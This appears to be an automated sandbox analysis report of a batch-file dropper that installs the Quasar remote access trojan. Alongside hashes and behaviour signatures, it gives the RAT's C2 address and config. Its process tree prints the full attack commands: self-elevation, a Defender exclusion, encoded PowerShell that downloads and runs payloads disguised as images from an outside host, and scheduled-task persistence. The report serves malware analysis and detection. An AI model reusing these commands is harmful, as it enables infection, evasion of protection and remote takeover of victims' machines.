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Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/12/2024, 20:06

Errors

Reason
Machine shutdown

General

  • Target

    n.cmd

  • Size

    1KB

  • MD5

    fa75e849a3beb187d543d9b4ae894dcc

  • SHA1

    41b1a755057677bfa617c089ba6092733155a1f0

  • SHA256

    ea4b2c7dbf2be84aa81e55112e40392a7c54cfabde85d3ece594d834b3c9254d

  • SHA512

    eed68bf4aba6af83620591f9cdefbe5e954f5bfbb14116015c215b306ecde7e8f9736b7e886e6ecbc0a71dda8ba2a58c7f4b5b7b6354104652715052e016f91f

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://i.imghippo.com/files/CFqi5277Mc.jpg

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://i.imghippo.com/files/mcm7321uo.jpg

Extracted

Family

quasar

Version

1.4.1

Botnet

afafaf

C2

194.26.192.167:2768

Mutex

c1060262-cacc-4b5e-8e09-ac72d84cef52

Attributes
  • encryption_key

    BE2B0B270E4DB19CAA5C42E9D2EBF64645A2D055

  • install_name

    OneDrive.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    OneDrive

  • subdirectory

    OneDrive

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\n.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -command ""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4560
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process -Verb RunAs -FilePath 'C:\Users\Admin\AppData\Local\Temp\n.cmd' -ArgumentList 'am_admin'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3112
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\n.cmd" am_admin
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -w h -command ""
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBjAG8AbQBtAGEAbgBkACAAIgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAIgBDADoAXAANAAoA
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath " C:\
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAEMARgBxAGkANQAyADcANwBNAGMALgBqAHAAZwAiADsAJABwAGEAdABoAD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAE8AbgBlAEQAcgBpAHYAZQAiADsAbQBrAGQAaQByACAAJABwAGEAdABoACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsADsAaQB3AHIAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAIgAkAHAAYQB0AGgAXABiAHUAZABkAHkALgBqAHAAZwAiADsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABUAGUAeAB0ACgAIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBjAG0AZAAiACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAGMAIAAiACQAcABhAHQAaABcAGIAdQBkAGQAeQAuAGoAcABnACIAIAAtAFIAYQB3ACkAKQApACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAHAAYQB0AGgAXABPAG4AZQBEAHIAaQB2AGUALgBjAG0AZAAiAA0ACgA=
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3928
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1956
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -w h -command ""
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4420
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -enc JAB1AHIAbAA9ACIAaAB0AHQAcABzADoALwAvAGkALgBpAG0AZwBoAGkAcABwAG8ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAG0AYwBtADcAMwAyADEAdQBvAC4AagBwAGcAIgA7ACQAcABhAHQAaAA9ACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABPAG4AZQBEAHIAaQB2AGUAIgA7AG0AawBkAGkAcgAgACQAcABhAHQAaAAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA7ACQAYgA2ADQARgBpAGwAZQA9ACIAJABwAGEAdABoAFwAZgBpAGwAZQAuAGoAcABnACIAOwAkAGUAeABlAEYAaQBsAGUAPQAiACQAcABhAHQAaABcAE8AbgBlAEQAcgBpAHYAZQAuAGUAeABlACIAOwBpAHcAcgAgACQAdQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGIANgA0AEYAaQBsAGUAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAZQB4AGUARgBpAGwAZQAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAKABnAGMAIAAkAGIANgA0AEYAaQBsAGUAIAAtAFIAYQB3ACkAKQApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQB4AGUARgBpAGwAZQA=
              6⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3944
              • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
                "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2828
                • C:\Windows\SYSTEM32\schtasks.exe
                  "schtasks" /create /tn "OneDrive" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe" /rl HIGHEST /f
                  8⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3904
                • C:\Windows\System32\shutdown.exe
                  "C:\Windows\System32\shutdown.exe" /s /t 0
                  8⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4104
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa39b1055 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:3120

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    50a8221b93fbd2628ac460dd408a9fc1

    SHA1

    7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

    SHA256

    46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

    SHA512

    27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    446dd1cf97eaba21cf14d03aebc79f27

    SHA1

    36e4cc7367e0c7b40f4a8ace272941ea46373799

    SHA256

    a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf

    SHA512

    a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b08c623a4c3d593e0197312ee60fd80b

    SHA1

    d758f831d82d40e2cf2b5303928840fef63c6e08

    SHA256

    9cec0c20b0888233bb5e426f9b85d4653f8a287e42018b65dc95eb5647193c37

    SHA512

    0a1b537b268a751eaa5873677faeefb8dad2832112cc2f5d84f24bd9b505ae51da7754acf50843ca3d70b3c33a42590e18a612558ca2f564a3dc881bf2556500

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x4dh1l4t.5oo.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.cmd

    Filesize

    847B

    MD5

    715335afe50e72cc5bd2c63805bd2add

    SHA1

    b34f448421570f46b076ae607fc1a01f8b023165

    SHA256

    e085efa731076a2454e9d65b733f53dc59b02fd8f57cb79197ed91deb855b2f3

    SHA512

    701bd7ace74c2fe673670987a3bd6e6686d0fd05bbdc3377bfd4e24d38d837b49f872398d0497888258ec42decb183fb8efd3c6a3dcf2ccc6464842d636d5113

  • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe

    Filesize

    3.1MB

    MD5

    b55e5489b45595fb38bf5bb30b69717b

    SHA1

    7511ee8909e0a0c53625eef4bd6b57250e561391

    SHA256

    4f111d05ddb93bf8e4ec906d2705740790402254ee115982d9e5aae36c3b4ffe

    SHA512

    40a520e89579a298922595428033b7f0ae0b8bd5bd6ead29488cad9707b153998ab88c3d55316045315297d185fefaaba49ef21b392ca216ac220e75220d1ead

  • memory/2828-117-0x0000000000910000-0x0000000000C34000-memory.dmp

    Filesize

    3.1MB

  • memory/2828-118-0x000000001B8C0000-0x000000001B910000-memory.dmp

    Filesize

    320KB

  • memory/2828-119-0x000000001D7C0000-0x000000001D872000-memory.dmp

    Filesize

    712KB

  • memory/2828-122-0x000000001B970000-0x000000001B982000-memory.dmp

    Filesize

    72KB

  • memory/2828-123-0x000000001D740000-0x000000001D77C000-memory.dmp

    Filesize

    240KB

  • memory/3112-29-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/3112-31-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/3112-28-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/3112-26-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/4560-0-0x00007FF81A2E3000-0x00007FF81A2E5000-memory.dmp

    Filesize

    8KB

  • memory/4560-15-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/4560-12-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/4560-11-0x00007FF81A2E0000-0x00007FF81ADA1000-memory.dmp

    Filesize

    10.8MB

  • memory/4560-1-0x0000025D24B10000-0x0000025D24B32000-memory.dmp

    Filesize

    136KB